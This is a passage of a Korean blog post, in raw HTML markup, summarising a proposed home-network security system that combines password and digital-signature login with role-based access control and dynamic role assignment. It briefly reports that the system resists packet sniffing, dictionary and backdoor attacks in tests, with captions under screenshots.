&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3154.jpg&quot; data-origin-width=&quot;568&quot; data-origin-height=&quot;690&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JDPKw/dJMcafs1niI/LkkxaVLWomki8sx7mRiNE1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JDPKw/dJMcafs1niI/LkkxaVLWomki8sx7mRiNE1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JDPKw/dJMcafs1niI/LkkxaVLWomki8sx7mRiNE1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJDPKw%2FdJMcafs1niI%2FLkkxaVLWomki8sx7mRiNE1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;263&quot; height=&quot;319&quot; data-filename=&quot;IMG_3154.jpg&quot; data-origin-width=&quot;568&quot; data-origin-height=&quot;690&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.2 시스템 구성요소와 기능&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시스템 관리자: 입력된 아이디, 패스워드, 전자서명을 이용한 접속요청을 받아 값의 진위여부를 사용자검증DB로부터 파악해 정당한 사용자의 접속요청에 대한 승인 여부 결정&lt;/li&gt;
&lt;li&gt;시스템 응용: 접속요청에 대한 인터페이스 제공. 아이디, 패스워드, 전자서명을 요구하여 정당한 사용자의 접속 요청에 대해서만 응답&lt;/li&gt;
&lt;li&gt;보안 관리 시스템: 정상적인 사용자로 확인되었다면, 시스템 서버의 MIB로부터 접속된 사용자에 대한 정보와 접속된 사용자별 권한 정보를 조회 -&amp;gt; 사용자별 권한 등급 설정 후 권한 부여&lt;/li&gt;
&lt;li&gt;보안 관리 MIB 응용: 권한 부여의 처리결과로 접속된 사용자의 사용 권한 등급에 따라 사용 가능한 서비스 내역에 대한 인터페이스 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3 시스템 적용 모델&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3156.jpg&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;796&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Aldz0/dJMcacJSgZz/0Bh1v6octWcQtAZquwPJ0K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Aldz0/dJMcacJSgZz/0Bh1v6octWcQtAZquwPJ0K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Aldz0/dJMcacJSgZz/0Bh1v6octWcQtAZquwPJ0K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAldz0%2FdJMcacJSgZz%2F0Bh1v6octWcQtAZquwPJ0K%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;490&quot; height=&quot;391&quot; data-filename=&quot;IMG_3156.jpg&quot; data-origin-width=&quot;997&quot; data-origin-height=&quot;796&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;상위역할은 하위역할 권한 수행 가능(역할 계층이 가지는 상속성)&lt;/li&gt;
&lt;li&gt;하위역할이 상위역할의 권한을 일시적으로 수행하기 위한 동적 역할 할당 제안: 능동적(역할 할당자=수여자), 수동적(역할 할당자!=수여자)으로 구분&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;능동적 역할 할당 프로토콜&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;부정책임 모드, 예외 상황에 대한 권한을 가짐&lt;/li&gt;
&lt;li&gt;해당 권한을 수행하기 위한 예외 상황이 발생한 후에 부정 책임모드 수행 가능. (부정 책임을 긍정 모드로 전환하면서 권한을 수행)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;수동적 역할 할당 프로토콜&lt;/li&gt;
&lt;li&gt;역할 기반 접근 통제 모델 + 임의적으로 권한을 역할 할당&lt;/li&gt;
&lt;li&gt;역할 권한 관계에 대상 역할의 권한이 명시되지 않은 경우&lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;- 동일 그룹 내: 하위 역할이 상위 역할 권한을 동적으로 할당 받음&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 그룹 간 : 서로 다른 그룹 간의 정의된 연산 관계에 의해 권한 할당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;4. 시스템 검증&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.1 웹 기반 시스템 구현&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제안 시스템은 웹 상에서 회원가입을 통해 서비스를 받는 형식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(아이디, 패스워드, 인증서 이용 유무를 이용). &lt;span&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 공격 시나리오를 통한 검증으로 안전성 확인&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3159.jpg&quot; data-origin-width=&quot;869&quot; data-origin-height=&quot;646&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bd75OD/dJMcafT7spL/tciMzcK0TtjNZqybW5Ljsk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bd75OD/dJMcafT7spL/tciMzcK0TtjNZqybW5Ljsk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bd75OD/dJMcafT7spL/tciMzcK0TtjNZqybW5Ljsk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbd75OD%2FdJMcafT7spL%2FtciMzcK0TtjNZqybW5Ljsk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;416&quot; height=&quot;309&quot; data-filename=&quot;IMG_3159.jpg&quot; data-origin-width=&quot;869&quot; data-origin-height=&quot;646&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3160.jpg&quot; data-origin-width=&quot;829&quot; data-origin-height=&quot;657&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ShAp5/dJMcadu8920/GJnyAop9EUAaNPg2ZwDIZK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ShAp5/dJMcadu8920/GJnyAop9EUAaNPg2ZwDIZK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ShAp5/dJMcadu8920/GJnyAop9EUAaNPg2ZwDIZK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FShAp5%2FdJMcadu8920%2FGJnyAop9EUAaNPg2ZwDIZK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;425&quot; height=&quot;337&quot; data-filename=&quot;IMG_3160.jpg&quot; data-origin-width=&quot;829&quot; data-origin-height=&quot;657&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3161.jpg&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;615&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ldtKg/dJMcaciJnCd/r7Gi4RiGQNZJyIfn7pdjt1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ldtKg/dJMcaciJnCd/r7Gi4RiGQNZJyIfn7pdjt1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ldtKg/dJMcaciJnCd/r7Gi4RiGQNZJyIfn7pdjt1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FldtKg%2FdJMcaciJnCd%2Fr7Gi4RiGQNZJyIfn7pdjt1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;415&quot; height=&quot;319&quot; data-filename=&quot;IMG_3161.jpg&quot; data-origin-width=&quot;801&quot; data-origin-height=&quot;615&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.2 시험 환경&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래의 3가지 대표적 공격방법으로 가상의 침입 공격에 대한 차단 여부를 확인(안전한 홈 네트워크 환경 유지 가능한지)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3157.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;365&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQSEFG/dJMcafmhEHR/7fLaYAuRzXLzRgj5dObUz1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQSEFG/dJMcafmhEHR/7fLaYAuRzXLzRgj5dObUz1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQSEFG/dJMcafmhEHR/7fLaYAuRzXLzRgj5dObUz1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQSEFG%2FdJMcafmhEHR%2F7fLaYAuRzXLzRgj5dObUz1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;358&quot; height=&quot;163&quot; data-filename=&quot;IMG_3157.jpg&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;365&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;IMG_3158.jpg&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;745&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JpVcB/dJMcacJSg2U/0OuS2PeBP6kxnK6YkXJUF0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JpVcB/dJMcacJSg2U/0OuS2PeBP6kxnK6YkXJUF0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JpVcB/dJMcacJSg2U/0OuS2PeBP6kxnK6YkXJUF0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJpVcB%2FdJMcacJSg2U%2F0OuS2PeBP6kxnK6YkXJUF0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;407&quot; height=&quot;384&quot; data-filename=&quot;IMG_3158.jpg&quot; data-origin-width=&quot;789&quot; data-origin-height=&quot;745&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;홈 네트워크 환경의 보안 고려사항에 대처방안&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다중인증에 의해 사용자의 접근에 대한 보안 강화&lt;/li&gt;
&lt;li&gt;내부에서 허가되지 않은 항목에 대한 접근을 역할 기반의 관리구조로 제어 -&amp;gt; 중요한 정보의 포함 또는 우선 순위에 따라 지정된 항목을 제어 할 수 있는 권한을 사요자에 따라 다르게 부여&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.3 공격 시나리오&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;+) 기존 방법: ID/PW&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;제안 방법: ID/PW + DS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;방법1. 네트워크 패킷 도청 공격&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;494&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zGpEt/dJMcaf7B0Lv/Fb9hxkPdKHsNvSownIwLfK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zGpEt/dJMcaf7B0Lv/Fb9hxkPdKHsNvSownIwLfK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zGpEt/dJMcaf7B0Lv/Fb9hxkPdKHsNvSownIwLfK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzGpEt%2FdJMcaf7B0Lv%2FFb9hxkPdKHsNvSownIwLfK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;333&quot; height=&quot;305&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;634&quot; data-origin-height=&quot;494&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;- 기존 방법 : 도청 공격 성공. 전송되는 패킷 내용 나타남&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.42.42.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;516&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cFXGZo/dJMcaiJ0Z7s/iQexPE2smBrf0jcsk2f2y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cFXGZo/dJMcaiJ0Z7s/iQexPE2smBrf0jcsk2f2y1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFXGZo/dJMcaiJ0Z7s/iQexPE2smBrf0jcsk2f2y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcFXGZo%2FdJMcaiJ0Z7s%2FiQexPE2smBrf0jcsk2f2y1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;333&quot; height=&quot;269&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.42.42.png&quot; data-origin-width=&quot;638&quot; data-origin-height=&quot;516&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;- 제안 방법(ID/PW + DS) : 도청 공격에 안전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;방법2. 사전 공격에 대한 비교&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.47.52.png&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAuuWy/dJMcaakWJIJ/TkJRaV6QygkDoTneUAtqgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAuuWy/dJMcaakWJIJ/TkJRaV6QygkDoTneUAtqgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAuuWy/dJMcaakWJIJ/TkJRaV6QygkDoTneUAtqgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAuuWy%2FdJMcaakWJIJ%2FTkJRaV6QygkDoTneUAtqgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;444&quot; height=&quot;267&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.47.52.png&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;- 기존 방법: 사전 공격 성공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.48.34.png&quot; data-origin-width=&quot;696&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d18BVs/dJMcaarJ30i/pbXtsKKfZ8xp8k8eyUIkAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d18BVs/dJMcaarJ30i/pbXtsKKfZ8xp8k8eyUIkAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d18BVs/dJMcaarJ30i/pbXtsKKfZ8xp8k8eyUIkAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd18BVs%2FdJMcaarJ30i%2FpbXtsKKfZ8xp8k8eyUIkAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;453&quot; height=&quot;271&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.48.34.png&quot; data-origin-width=&quot;696&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;- 제안 방법: 사전 공격에 안전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;방법3. 백도어 공격에 대한 비교&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.49.28.png&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nGrlF/dJMcaiDhmVX/KJksD3VZvqn6UnEjkNX0S1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nGrlF/dJMcaiDhmVX/KJksD3VZvqn6UnEjkNX0S1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nGrlF/dJMcaiDhmVX/KJksD3VZvqn6UnEjkNX0S1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnGrlF%2FdJMcaiDhmVX%2FKJksD3VZvqn6UnEjkNX0S1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;410&quot; height=&quot;282&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.49.28.png&quot; data-origin-width=&quot;652&quot; data-origin-height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;- 기존 방법: 백도어 공격 성공&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.49.53.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;470&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9k4Zr/dJMcaiwvhqp/ce2ztYGaysC7byr1dixHxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9k4Zr/dJMcaiwvhqp/ce2ztYGaysC7byr1dixHxk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9k4Zr/dJMcaiwvhqp/ce2ztYGaysC7byr1dixHxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9k4Zr%2FdJMcaiwvhqp%2Fce2ztYGaysC7byr1dixHxk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;402&quot; height=&quot;291&quot; data-filename=&quot;스크린샷 2026-05-12 오전 9.49.53.png&quot; data-origin-width=&quot;650&quot; data-origin-height=&quot;470&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;- 제안 방법: 백도어 공격에 안전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
